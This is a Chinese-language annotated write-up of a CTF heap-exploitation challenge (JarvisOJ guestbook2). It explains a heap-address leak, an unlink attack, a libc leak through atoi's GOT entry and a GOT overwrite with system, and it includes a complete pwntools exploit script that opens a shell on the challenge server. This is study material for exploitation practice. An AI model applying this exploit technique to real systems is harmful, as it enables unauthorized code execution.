在网上看到大佬的writeup,一开始懵逼了很久,有很多参数不知道是什么意思,大佬也懒得注释。经过摸爬滚打的调试,我在这给大佬的writeup写写注释,既便于自己以后回顾的时候能马上捡起来,也能帮助一些像我这样的菜鸡学习知识。
https://veritas501.space/2017/03/10/JarvisOJ_WP/
该exp的思路是:
1、free chunk3 和chunk1(注意顺序),使得chunk1的fd指向chunk3
2、利用edit中的realloc写入能覆盖chunk1头部的字符(即在chunk0长度的基础上再写0x10个字节),这样list后就能看到fd的值,从而leak出chunk3的地址。进而通过结构体的相对位置,得出heap_base和chunk0的地址。
3、构造fake chunk1 ,通过unlink,使得chunk0的指针指向chunk0-0x18的地方(这里我感觉更好的方法是写在新建的堆上,因为刚好每个chunk大小为0x18,),这样就能实现通过写chunk0而修改chunk0-0x18的值。
4、利用edit往chunk_list中写入数据,使得chunk1的堆指针指向atoi的got地址,从而leak出该地址,进而计算libc基地址。通过libc基地址,算出system的地址。
5、最后自然是往atoi的got地址(对应chunk1的堆地址)里写system啦。然后就输入/bin/sh,让system执行该参数。
下面是我调试时看到的信息:
可以发现连个堆之间地址相差0x90字节大小,因此泄露出的chunk3的地址距离有0x1820+0x90*3=0x19d0
可以看到该chunk_list的结构是:
presize | size
sum | number
chunk0_in_use | len_of_chunk0
ptr_of_chunk0 | chunk1_in_use
len_of_chunk1 | ptr_of_chunk1
因此ptr_of_chunk0距离heap_base应该是0x30个字节
另外,chunk0-0x18是在0x603018处,此处记录的是堆的个数。在unlink后edit(0),就是从这个地方开始写入数据的。
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
context.arch = "amd64"
local = 0
if local:
cn = process('./guestbook2')
bin = ELF('./guestbook2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('pwn.jarvisoj.com', 9879)
bin = ELF('./guestbook2')
libc = ELF('./libc.so')
def list_post():
pass
def add_post(length,content):
cn.sendline('2')
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)
def edit_post(idx,length,content):
cn.sendline('3')
cn.recvuntil('number')
cn.sendline(str(idx))
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)
def del_post(idx):
cn.sendline('4')
cn.recvuntil('number')
cn.sendline(str(idx))
chunk_list=0x00000000006020A8
test=0x00000000004012E6
#-------init-------
for i in range(5):
add_post(0x80,str(i)*0x80)
del_post(3)
del_post(1)
pay = '0'*0x80 + 'a'*0x10
edit_post(0,0x90,pay)
#------------------
#--------leak----------
cn.sendline('1')
cn.recvuntil('a'*0x10)
leak_data = cn.recvuntil('\x0a')[:-1]
cn.recv()
leak_addr = u64(leak_data + '\x00'*(8-len(leak_data)))
heap_base = leak_addr - 0x19d0#offset
chunk0_addr = heap_base+0x30
success("leak_addr: "+hex(leak_addr))
success("heap_base: "+hex(heap_base))
success("chunk0_addr: "+hex(chunk0_addr))
#----------------------
#-------unlink--------
pay = p64(0x90) + p64(0x80) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10) + '0'*(0x80-8*4)
pay += p64(0x80) + p64(0x90+0x90) + '1'*0x70
success(hex(len(pay)))
edit_post(0,len(pay),pay)
del_post(1)
#----------------------
#--------leak----------
pay = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr-0x18)
pay += p64(1)+p64(0x8)+p64(bin.got['atoi'])
pay += '\x00'*(0x100-len(pay))
edit_post(0,len(pay),pay)
cn.sendline('1')
cn.recvuntil('0. ')
cn.recvuntil('1. ')
atoi = cn.recvuntil('\x0a')[:-1]
cn.recv()
atoi = u64(atoi + '\x00'*(8-len(atoi)))
system = atoi - libc.symbols['atoi']+libc.symbols['system']
success("atoi: "+hex(atoi))
success("system: "+hex(system))
#----------------------
#--------hijack&getshell--------
edit_post(1,8,p64(system))
cn.sendline("$0")
#----------------------
cn.interactive()
'''
chunk_list:
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000001
0x603020: 0x0000000000000001 0x000000000000000a
0x603030: 0x0000000000604830 0x0000000000000000 <- ptr here
0x603040: 0x0000000000000000 0x0000000000000000
'''